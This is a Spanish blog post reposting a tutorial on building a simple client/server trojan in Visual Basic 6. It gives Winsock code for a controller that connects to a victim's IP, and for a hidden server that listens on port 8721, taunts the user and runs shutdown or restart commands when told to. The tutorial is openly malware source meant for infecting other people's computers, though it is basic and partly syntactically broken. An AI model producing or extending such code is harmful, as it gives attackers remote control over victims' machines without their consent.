Como hacer un troyano en VB6

Publicado: marzo 21, 2011 de nachocp en Tutoriales

Bien este es un tema que aún no se ha tratado en el Blog pero creo que es interesante:

¿Como crear un troyano?

Bueno, supongo que sabréis lo que es un troyano ¿no?. Un troyano es como dice su historia algo malo camuflado en algo bueno.

 

¿Qué inteción tiene un troyano?

Pues desde una broma,recoger información de un PC, formatearlo , espiarle…

 

¿Qué lenguaje puedo usar para hacer un troyano?

C++ quien diga lo contrario miente , eso si en VB está muy bien también (VisualBasic lenguaje Basic)

 

Asi que aquí va un tutorial de como hacerun troyano en VB6 pondré el link para la descarga del VB6 que está dificil de encontar.

 

La guía no es mía pero esta bien tengo que revisarla:

 

 

Buenas antes que nada , decir… a los lammers que no se dediquén a copiar código… y se dediquén a entenderlo. En este manual explicaré como crear troyanos en visual Basic….
un troyano es una aplicacoón que se basa en el tan conocido Cliente/Servidor y que se trata de enviar datos desde un ordenador a otro Manteniendo una comunicación…
En este caso en Nuestro troyano usaremos el protocolo TCP.

usaremos el programa visual basic 6.0 ( recomendado )
Bien empesemos con el aspecto gráfico del troyano….
Podnremos tres opciones a nuestro querido cliente…
1.) Apagar equipo 2.) Reiniciar equipo..
estas opciones son muy sensillas…
¿Por qué no pongo más ejemplos?
Por que siempre hay alguien que se dedica a aprovecharse de estos manuales para hacer lammeradas… en cambio otras personas lo hacen con fines productivos y educativos…
Bien… Empesaremos a programar el aspecto Gráfico del cliente…
Abramos el visual basic 6.0
y Agregamos el control Winsock que se encuentre en: proyecto >>> componentes >>>
y lo agregamos al formulario…
Agregamos:
1 Textbox (text1.text ) 2 Labels (label1 y label2) 4 CommandButton…
en el primer label Pondremos en la propiedad caption lo siguiente:
Host o Dirección IP:
y al lado ponemos el textbox…. aquí es donde se introducirá la IP de la víctima cuando la infectemos….
en el segundo label es donde ubicaremos el Estado de la conexión…
Por defecto ponemos en el caption:
Estado: Desconectado…
CommandButton1:
Sería el botón Conectar…
CommandButton2:
Desconectar…
CommandButton3:
Apagar equipo…
CommandButton4:
Reiniciar equipo…

En el botón Conectar pondremos el siguiente Código……
Winsock1.Close (para que pueda volver a conectar en caso de desconectarte) Winsock1.RemoteHost = Text1.text (Aquí estamos diciendo que el host remoto será lo introducido en el textbox ) Winsock1.RemotePort = 8721 (especificamos el puerto.. en este caso.. el 8721) Winsock1.Connect (Conecta)
en el botón desconectar pondremos lo siguiente…
Winsock1.Close

luego en el evento Connect del winsock haremos esto:
Private Sub winsock1_connect() If Winsock1.State = sckConnected Then Label2.caption = “Conectado” End If End Sub
en el botón Apagar añadimos el siguiente código…
Winsock1.SendData “apa”

en el botón reiniciar añadimos:
Winsock1.SendData “rei”

################################                          server
#################################

Ahora empesaremos con el server….
Agregamos el control winsock al formulario…
y le ponemos la propiedad visible en false en el formulario….
luego en el winsock en la propiedad LocalPort ponemos 8721
añadimos un textbox (text1.text ) que será la comprobación de texto desde el cliente….
y añadimos esto en el evento load del formulario.

MsgBox “Caistes en mis manos” Winsock1.Listen ‘ El programa se pone a la escucha… WAClase = “VBE” End Sub

luego:
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long) Winsock1.Close Winsock1.Accept RequestID (aceptamos conexiones) End Sub Private Sub Winsock1_DataArrival(ByVal bytestotal As Long) Dim datos As String ( declaramos la variable datos ) Winsock1.GetData datos ( hacemos que todo lo que recibamos se almacene en la variable datos ) Text1.Text = datos ( el textbox es lo que recibamos ) End Sub
luego en el evento change del textbox
Private Sub Text1_Change() if text1.text = “apa” Then Shell (“cmd.exe /c shutdown -s -t 1” end if If Text1.Text = “rei” Then Shell (“cmd.exe /c shutdown -r -t 2”, vbHide End If

Hasta aquí llega mi manual…. el troyano es muy básico.. pero si entendistes la lógica seguro que lo podrás mejorar mucho.

Cualquier error… diganmelo…

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s